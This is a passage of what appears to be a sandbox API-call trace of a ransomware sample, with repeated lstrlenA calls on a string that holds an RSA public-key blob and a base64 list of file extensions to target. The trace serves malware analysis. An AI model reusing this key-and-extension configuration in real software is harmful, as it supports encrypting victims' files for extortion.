YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.135] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.135] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.135] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.135] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1p